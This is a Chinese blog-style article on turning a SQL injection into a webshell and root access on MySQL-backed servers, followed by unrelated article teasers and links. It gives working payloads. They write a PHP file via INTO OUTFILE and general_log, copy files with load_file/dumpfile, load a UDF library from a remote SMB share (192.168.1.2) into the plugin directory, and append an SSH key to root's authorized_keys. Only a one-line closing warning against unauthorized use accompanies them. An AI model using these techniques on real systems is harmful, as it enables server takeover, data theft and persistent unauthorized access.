sql注入getshell
sql注入getshell:从一条报错到服务器沦陷
凌晨两点,甲方发来一个链接,说后台登录框能弹数据库报错。我点开一看,URL参数里明晃晃挂着`?id=1'`,页面吐出一行完整SQL语法错误——连表名字段名都带出来了。这不是漏洞,这是门没锁,钥匙还插在锁孔里。
但getshell是另一回事。注入归注入,拿到webshell才算真正打通任督二脉。多数人卡在“有注入但写不进去文件”这一步。别急,先分清你手里是什么牌。
如果是**Union注入**,先数清楚字段数。`order by 5`报错,`order by 4`正常,说明四列。接着猜绝对路径——报错信息里找,或者用`@@datadir`、`@@basedir`直接查。路径到手,尝试`union select 1,"",3,4 into outfile '/var/www/html/shell.php'`。这一锤子下去,多半栽在权限上。MySQL的`secure_file_priv`如果非空,outfile直接哑火。这时候换一招:看能不能用`general_log`写日志。
```sql
set global general_log='on';
set global general_log_file='/var/www/html/shell.php';
select '';
```
三条语句,干净利落。前提是你有`SUPER`权限。很多站点的DB账号是专用低权限账号,压根碰不到全局变量。那就得回到文件层面找机会。
有一次我遇到个奇葩环境,MySQL权限锁得死死的,但注入点恰好能读文件。`load_file('/etc/passwd')`能出内容,说明有`FILE`权限。读不到web目录?那就读`.bash_history`,翻出运维的备份脚本,里面写着`/data/backup/site.zip`。顺藤摸瓜,发现备份目录和web目录在同一分区,而备份文件是root用户创建的——但解压时用了`chown -R www:www`。于是注入点里构造`select load_file('/data/backup/site.zip') into dumpfile '/var/www/html/backup.zip'`,把备份拖出来,解开,里面藏着数据库配置,密码是`Admin@2023`,后台登录进去,模板编辑功能直接写php。绕了一大圈,最后还是靠“人类习惯”——运维图省事,把备份权限搞得太宽。
更野的路子也有。某次渗透测试,注入点连`load_file`都被禁了,但页面回显支持报错注入。我用`extractvalue`把`version()`报出来,发现是Percona 5.7。接着试UDF提权——先得有个地方写so文件。注入里写不进文件,但SQL语句能触发`sys_eval`吗?不行,UDF得先上传库文件。最后怎么解决的?发现目标服务器开着SMB共享,匿名可写。我在共享目录扔了个`udf.dll`,再用SQL的`load_file('\\\\192.168.1.2\\share\\udf.dll') into dumpfile '/usr/lib/mysql/plugin/udf.so'`,瞬间落地。这一步能成,纯粹因为Windows共享没设密码——安全短板往往不在SQL本身。
别指望一条注入直接打通。真实场景里,getshell是组合拳:注入拿信息,信息带出路径,路径配合弱配置,弱配置再撞上粗心运维。我见过最讽刺的案例:注入点能读`/etc/shadow`,但root密码哈希解不开。最后用注入把`/root/.ssh/authorized_keys`读出来,发现运维直接把自己的公钥明文放在里面——连密码都不用破,用注入把公钥追加进去,SSH直接登root。
写shell这种事,技术含量其实不高。难点全在判断边界:哪个函数被禁,哪个目录可写,哪个服务以root跑。你手里的注入点是个杠杆,但支点得自己找。多数人卡在“有注入但写不进去文件”这一步,其实不是技术不够,是没把思路打开——文件写不进,那就写日志;日志写不进,那就读备份;读不到备份,那就翻历史命令。层层下探,总会碰到一个松动的螺丝。
最后提醒一句,别在没授权的地方试这些。真碰上个蜜罐,你写进去的`shell.php`可能是个陷阱,反向把你IP记下来,第二天就有警察叔叔请你喝茶。技术是把刀,切菜还是砍人,全看握刀的手。
(责任编辑:综合)
-
测试工具这件事,我见过太多人把它搞成了一场“仪式”。打开Postman,对着接口一顿猛点,看到200就截图发群里,完事。这哪叫测试?这叫自我安慰。 真正的测试工具验证,得从“工具会不会骗你”开始。我去
...[详细]
-
揭阳本地的全自动无水清洗设备,报价从八万到三十五万都有,这个跨度比揭阳的榕江还宽。别急着问“哪家便宜”,先搞清楚你要洗的是什么——是电路板、五金件,还是光学镜片?不同工况,设备结构天差地别,价格自然没
...[详细]
-
凌晨两点,我盯着屏幕上那个跳动的光标,手心全是汗。目标站点的后台登录框就在眼前,密码框里已经试了十七个组合,全被弹回“用户名或密码错误”。这是我第一次真正意义上的渗透测试——不是靶场,不是虚拟机,是客
...[详细]
-
南京邮电大学CTF平台:不只是题库,是个江湖 凌晨两点,宿舍楼熄了灯。我盯着屏幕上那道叫“ez_pwn”的题,栈溢出偏移量算到第7遍还是不对。旁边室友的呼吸声均匀,我却听见自己心跳撞在键盘上——啪嗒,
...[详细]
-
上个月,我帮朋友清理他那台卡成幻灯片的旧笔记本。重装系统、清灰、换固态,折腾一晚上,电脑终于流畅如飞。他高兴地打开银行客户端准备转账,结果页面弹出一个刺眼的红色警告——证书过期。 他骂了一句,点了“仍
...[详细]
-
盐蛋搜索引擎的入口,不在浏览器地址栏,也不在某个APP的图标里。它藏在我外婆家厨房的陶罐底下,被一层粗盐和草木灰压得严严实实。 那天我蹲在灶台边,看她用稻草灰裹住鸭蛋,裹得像个沉默的元宝。我问她,这蛋
...[详细]
-
渗透率这个指标,在市场营销和互联网行业里被用烂了,但真正算对的人不多。我见过太多人把“注册用户数除以总曝光量”当成渗透率,那其实是转化率,完全两码事。 渗透率的本质是“在一个特定群体里,有多少人用了你
...[详细]
-
凌晨两点十七分,我盯着屏幕上那个闪烁的光标,手指悬在键盘上方。这不是我第一次干这活儿,但每次心跳都会加速。目标是个小型电商站,后台用的是三年前的老版本CMS,漏洞网上随便一搜就有。我甚至懒得用扫描器,
...[详细]
-
我见过太多人在本地把JSP写得风生水起,一到部署就翻车。环境变量、Tomcat版本、JDK路径,哪个不是坑?更别提那些想快速验证一段脚本却懒得开IDE的瞬间。所以当“在线运行JSP”这种东西出现在视野
...[详细]
-
昨天下午三点十七分,行政部的小张把一份含全员身份证号的Excel表发到了公司大群里。她本想发给人事主管,但聊天窗口开错了。撤回用了四十秒,足够三百多人下载附件。那个文件至今还在某些人的手机相册和网盘里
...[详细]

html是什么意思
蹭网男孩考666分
网络攻击之植入后门的方法是什么
渗透提权
创建一个弹出计算器的Shellcode
